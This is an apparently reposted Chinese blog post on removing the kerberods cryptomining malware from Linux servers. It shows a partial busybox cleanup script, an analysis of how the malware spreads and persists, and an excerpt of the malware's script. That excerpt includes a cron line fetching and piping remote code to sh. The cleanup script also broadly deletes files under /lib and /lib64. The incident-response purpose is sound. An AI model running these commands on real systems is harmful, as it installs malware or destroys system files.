运维最全Linux 服务器感染kerberods 病毒_busybox chattr -ia ，赶紧收藏

嘻嘻哈哈学编程

于 2024-05-13 03:29:30 发布

阅读量551

点赞数 28

分类专栏：程序员文章标签：运维学习面试

本文链接：https://blog.csdn.net/m0_61068496/article/details/138777836

版权

程序员专栏收录该内容

262 篇文章 0 订阅

订阅专栏

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以点击这里获取！

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

17 busybox echo -e “\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org” >> /etc/hosts
18 }
19
20
21 function fixCron(){
22 #修复crontab
23 busybox chattr -i /etc/cron.d/root 2>/dev/null
24 busybox rm -f /etc/cron.d/root
25 busybox chattr -i /var/spool/cron/root 2>/dev/null
26 busybox rm -f /var/spool/cron/root
27 busybox chattr -i /var/spool/cron/tomcat 2>/dev/null
28 busybox rm -f /var/spool/cron/tomcat
29 busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null
30 busybox rm -f /var/spool/cron/crontabs/root
31 busybox rm -rf /var/spool/cron/tmp.*
32 busybox rm -rf /var/spool/cron/crontabs
33 busybox touch /var/spool/cron/root
34 busybox chattr +i /var/spool/cron/root
35 }
36
37 function killProcess(){
38 #修复异常进程
39 #busybox ps -ef | busybox grep -v grep | busybox grep ‘khugepageds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
40 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘ksoftirqds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
41 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘kthrotlds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
42 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘kpsmouseds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
43 #busybox ps -ef | busybox grep -v grep | busybox egrep ‘kintegrityds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
44 busybox ps -ef | busybox grep -v grep | busybox grep ‘/usr/sbin/kerberods’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
45 busybox ps -ef | busybox grep -v grep | busybox grep ‘/usr/sbin/sshd’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
46 busybox ps -ef | busybox grep -v grep | busybox egrep ‘/tmp/kauditds’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
47 busybox ps -ef | busybox grep -v grep | busybox egrep ‘/tmp/sshd’ | busybox awk ‘{print $1}’ |busybox sed “s/root//g” | busybox xargs kill -9 2>/dev/null
48 busybox rm -f /tmp/khugepageds
49 busybox rm -f /tmp/migrationds
50 busybox rm -f /tmp/sshd
51 busybox rm -f /tmp/kauditds
52 busybox rm -f /tmp/migrationds
53 busybox rm -f /usr/sbin/sshd
54 busybox rm -f /usr/sbin/kerberods
55 busybox rm -f /usr/sbin/kthrotlds
56 busybox rm -f /usr/sbin/kintegrityds
57 busybox rm -f /usr/sbin/kpsmouseds
58 busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
59 }
60
61
62 function clearLib(){
63 #修复动态库
64 busybox chattr -i /etc/ld.so.preload
65 busybox rm -f /etc/ld.so.preload
66 busybox rm -f /usr/local/lib/libcryptod.so
67 busybox rm -f /usr/local/lib/libcset.so
68 busybox chattr -i /etc/ld.so.preload 2>/dev/null
69 busybox chattr -i /usr/local/lib/libcryptod.so 2>/dev/null
70 busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
71 busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
72 busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
73 busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
74 busybox rm -f /etc/ld.so.cache
75 busybox rm -f /etc/ld.so.preload
76 busybox rm -f /usr/local/lib/libcryptod.so
77 busybox rm -f /usr/local/lib/libcset.so
78 busybox rm -rf /usr/local/lib/libdevmapped.so
79 busybox rm -rf /usr/local/lib/libpamcd.so
80 busybox rm -rf /usr/local/lib/libdevmapped.so
81 busybox touch /etc/ld.so.preload
82 busybox chattr +i /etc/ld.so.preload
83 ldconfig
84 }
85
86 function clearInit(){
87 #修复异常开机项
88 #chkconfig netdns off 2>/dev/null
89 #chkconfig –del netdns 2>/dev/null
90 #systemctl disable netdns 2>/dev/null
91 busybox rm -f /etc/rc.d/init.d/kerberods
92 busybox rm -f /etc/init.d/netdns
93 busybox rm -f /etc/rc.d/init.d/kthrotlds
94 busybox rm -f /etc/rc.d/init.d/kpsmouseds
95 busybox rm -f /etc/rc.d/init.d/kintegrityds
96 busybox rm -f /etc/rc3.d/S99netdns
97 #chkconfig watchdogs off 2>/dev/null
98 #chkconfig --del watchdogs 2>/dev/null
99 #chkconfig --del kworker 2>/dev/null
100 #chkconfig --del netdns 2>/dev/null
101 }
102
103 function recoverOk(){
104 service crond start
105 busybox sleep 3
106 busybox chattr -i /var/spool/cron/root
107 # 将杀毒进程加入到定时任务中，多次杀毒
108 echo “*/10 * * * * /root/kerberods_kill.sh” | crontab -
109 # 恢复被劫持的sshd 服务
110 #busybox cp ~/sshd_new /usr/sbin/sshd
111 #service sshd restart
112 echo “OK,BETTER REBOOT YOUR DEVICE”
113 }
114
115 #先停止crontab服务
116 echo “1| stop crondtab service!”
117 service crond stop
118 #防止病毒继续扩散
119 echo “2| banHosts!”
120 banHosts
121 #清除lib劫持
122 echo “3| clearLib!”
123 clearLib
124 #修复crontab
125 echo “4| fixCron!”
126 fixCron
127 #清理病毒进程
128 echo “5| killProcess!”
129 killProcess
130 #删除异常开机项
131 echo "6| clearInit! "
132 clearInit
133 #重启服务和系统
134 echo “7| recover!”
135 recoverOk


查杀完成以后重启服务器，发现过段时间，登陆主机，无论本地还是ssh远程登陆，依然会有病毒进程被拉起，观察top里面的进程，并用pstree 回溯进程之间的关系，发现每次用户登陆就会有病毒进程被拉起，怀疑登陆时加载文件存在问题，逐个排查下列文件：


* /etc/profile
* ~/.profile
* ~/.bash\_login
* ~/.bash\_profile
* ~/.bashrc
* /etc/bashrc  
 最后终于发现 /etc/bashrc 文件被加入了一些似曾相识的语句  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200507072931963.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTA3OTc3,size_16,color_FFFFFF,t_70)


## 病毒分析


**1、感染路径**


攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。


第一台感染的机器会读取known\_hosts文件，遍历ssh登录，如果是做了免密登录认证，则将直接进行横向传播。


**2、病毒主要模块**


* 主恶意程序：kerberods
* 恶意Hook库：libcryptod.so libcryptod.c
* 挖矿程序：khugepageds
* 恶意脚本文件：netdns (用作kerberods的启停等管理)
* 恶意程序：sshd （劫持sshd服务，每次登陆均可拉起病毒进程）  
 **3、执行顺序**
* 执行恶意脚本下载命令  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200507073424807.png)
* 主进程操作



> 
> 1 > 添加至开机启动，以及/etc/bashrc  
>  2 > 生成了sshd文件 劫持sshd服务  
>  3 > 将netdns文件设置为开机启动  
>  4 > 编译libcryptod.c为/usr/local/lib/libcryptod.so  
>  5 > 预加载动态链接库，恶意hook关键系统操作函数  
>  6 > 修改/etc/cron.d/root文件，增加定时任务  
>  7 > 拉起khugepageds挖矿进程
> 
> 
> 


**附病毒恶意进程代码**

1 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
2
3 mkdir -p /tmp
4 chmod 1777 /tmp
5
6 echo “* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh” | crontab -
7
8 ps -ef|grep -v grep|grep hwlh3wlh44lh|awk ‘{print $2}’|xargs kill -9
9 ps -ef|grep -v grep|grep Circle_MI|awk ‘{print $2}’|xargs kill -9
10 ps -ef|grep -v grep|grep get.bi-chi.com|awk ‘{print $2}’|xargs kill -9
11 ps -ef|grep -v grep|grep hashvault.pro|awk ‘{print $2}’|xargs kill -9
12 ps -ef|grep -v grep|grep nanopool.org|awk ‘{print $2}’|xargs kill -9
13 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk ‘{print $2}’|xargs kill -9
14 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk ‘{print $2}’|xargs kill -9
15 ps -ef|grep -v grep|grep “xmr”|awk ‘{print $2}’|xargs kill -9
16 ps -ef|grep -v grep|grep “xig”|awk ‘{print $2}’|xargs kill -9
17 ps -ef|grep -v grep|grep “ddgs”|awk ‘{print $2}’|xargs kill -9
18 ps -ef|grep -v grep|grep “qW3xT”|awk ‘{print $2}’|xargs kill -9
19 ps -ef|grep -v grep|grep “wnTKYg”|awk ‘{print $2}’|xargs kill -9
20 ps -ef|grep -v grep|grep “t00ls.ru”|awk ‘{print $2}’|xargs kill -9
21 ps -ef|grep -v grep|grep “sustes”|awk ‘{print $2}’|xargs kill -9
22 ps -ef|grep -v grep|grep “thisxxs”|awk ‘{print $2}’ | xargs kill -9
23 ps -ef|grep -v grep|grep “hashfish”|awk ‘{print $2}’|xargs kill -9
24 ps -ef|grep -v grep|grep “kworkerds”|awk ‘{print $2}’|xargs kill -9
25 ps -ef|grep -v grep|grep “/tmp/devtool”|awk ‘{print $2}’|xargs kill -9
26 ps -ef|grep -v grep|grep “systemctI”|awk ‘{print $2}’|xargs kill -9
27 ps -ef|grep -v grep|grep “sustse”|awk ‘{print $2}’|xargs kill -9
28 ps -ef|grep -v grep|grep “axgtbc”|awk ‘{print $2}’|xargs kill -9
29 ps -ef|grep -v grep|grep “axgtfa”|awk ‘{print $2}’|xargs kill -9
30 ps -ef|grep -v grep|grep “6Tx3Wq”|awk ‘{print $2}’|xargs kill -9
31 ps -ef|grep -v grep|grep “dblaunchs”|awk ‘{print $2}’|xargs kill -9